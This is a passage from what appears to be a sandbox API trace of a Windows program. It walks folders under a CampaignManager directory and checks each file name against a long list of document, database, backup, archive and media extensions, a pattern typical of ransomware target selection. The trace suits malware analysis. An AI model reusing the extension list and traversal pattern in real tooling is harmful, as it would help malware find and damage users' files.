(lpString1=".dc3", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dcm") returned 4 [0183.299] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dcr") returned 4 [0183.299] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".der") returned 4 [0183.299] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dib") returned 4 [0183.299] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.299] lstrlenW (lpString=".dic") returned 4 [0183.299] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dif") returned 4 [0183.300] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".divx") returned 5 [0183.300] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".djvu") returned 5 [0183.300] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".dng") returned 4 [0183.300] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".doc") returned 4 [0183.300] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".docm") returned 5 [0183.300] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".docx") returned 5 [0183.300] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".dot") returned 4 [0183.300] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dotm") returned 5 [0183.300] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".dotx") returned 5 [0183.300] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.300] lstrlenW (lpString=".dpx") returned 4 [0183.300] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dqy") returned 4 [0183.300] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dsn") returned 4 [0183.300] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dt") returned 3 [0183.300] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.300] lstrlenW (lpString=".dtd") returned 4 [0183.300] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dwg") returned 4 [0183.300] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dwt") returned 4 [0183.300] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.300] lstrlenW (lpString=".dx") returned 3 [0183.301] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.301] lstrlenW (lpString=".dxf") returned 4 [0183.301] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".edml") returned 5 [0183.301] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.301] lstrlenW (lpString=".efd") returned 4 [0183.301] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".elf") returned 4 [0183.301] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".emf") returned 4 [0183.301] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".emz") returned 4 [0183.301] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".epf") returned 4 [0183.301] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".eps") returned 4 [0183.301] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".epsf") returned 5 [0183.301] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.301] lstrlenW (lpString=".epsp") returned 5 [0183.301] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.301] lstrlenW (lpString=".erf") returned 4 [0183.301] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".exr") returned 4 [0183.301] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".f4v") returned 4 [0183.301] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.301] lstrlenW (lpString=".fido") returned 5 [0183.302] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.302] lstrlenW (lpString=".flm") returned 4 [0183.302] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".flv") returned 4 [0183.302] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".frm") returned 4 [0183.302] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".fxg") returned 4 [0183.302] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".geo") returned 4 [0183.302] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".gif") returned 4 [0183.302] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".grs") returned 4 [0183.302] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".gz") returned 3 [0183.302] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.302] lstrlenW (lpString=".h") returned 2 [0183.302] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.302] lstrlenW (lpString=".hdr") returned 4 [0183.302] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".hpp") returned 4 [0183.302] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".hta") returned 4 [0183.302] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".htc") returned 4 [0183.302] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".htm") returned 4 [0183.302] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".html") returned 5 [0183.302] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0183.302] lstrlenW (lpString=".icb") returned 4 [0183.302] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0183.302] lstrlenW (lpString=".ics") returned 4 [0183.303] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0183.303] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.303] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.303] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.303] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.304] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.304] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1 [0183.304] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0183.349] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.349] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.350] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.350] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.350] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.350] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.350] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0183.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.351] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1 [0183.351] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.354] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.354] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0183.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0183.355] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0183.355] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0183.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0183.357] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f8f938, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4c78e2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.357] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.357] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.357] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0183.357] lstrlenW (lpString=".1cd") returned 4 [0183.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.357] lstrlenW (lpString=".3ds") returned 4 [0183.358] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".3fr") returned 4 [0183.358] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".3g2") returned 4 [0183.358] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".3gp") returned 4 [0183.358] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".7z") returned 3 [0183.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.358] lstrlenW (lpString=".accda") returned 6 [0183.358] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".accdb") returned 6 [0183.358] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".accdc") returned 6 [0183.358] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".accde") returned 6 [0183.358] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".accdt") returned 6 [0183.358] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".accdw") returned 6 [0183.358] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0183.358] lstrlenW (lpString=".adb") returned 4 [0183.358] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".adp") returned 4 [0183.358] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".ai") returned 3 [0183.358] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.358] lstrlenW (lpString=".ai3") returned 4 [0183.358] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".ai4") returned 4 [0183.358] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".ai5") returned 4 [0183.358] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.358] lstrlenW (lpString=".ai6") returned 4 [0183.359] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".ai7") returned 4 [0183.359] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".ai8") returned 4 [0183.359] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".anim") returned 5 [0183.359] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.359] lstrlenW (lpString=".arw") returned 4 [0183.359] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".as") returned 3 [0183.359] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.359] lstrlenW (lpString=".asa") returned 4 [0183.359] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".asc") returned 4 [0183.359] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".ascx") returned 5 [0183.359] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.359] lstrlenW (lpString=".asm") returned 4 [0183.359] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".asmx") returned 5 [0183.359] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.359] lstrlenW (lpString=".asp") returned 4 [0183.359] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".aspx") returned 5 [0183.359] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.359] lstrlenW (lpString=".asr") returned 4 [0183.359] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".asx") returned 4 [0183.359] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".avi") returned 4 [0183.359] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".avs") returned 4 [0183.359] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.359] lstrlenW (lpString=".backup") returned 7 [0183.360] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.360] lstrlenW (lpString=".bak") returned 4 [0183.360] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".bay") returned 4 [0183.360] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".bd") returned 3 [0183.360] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.360] lstrlenW (lpString=".bin") returned 4 [0183.360] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".bmp") returned 4 [0183.360] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".bz2") returned 4 [0183.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".c") returned 2 [0183.360] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.360] lstrlenW (lpString=".cdr") returned 4 [0183.360] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".cer") returned 4 [0183.360] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.360] lstrlenW (lpString=".cf") returned 3 [0183.360] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.360] lstrlenW 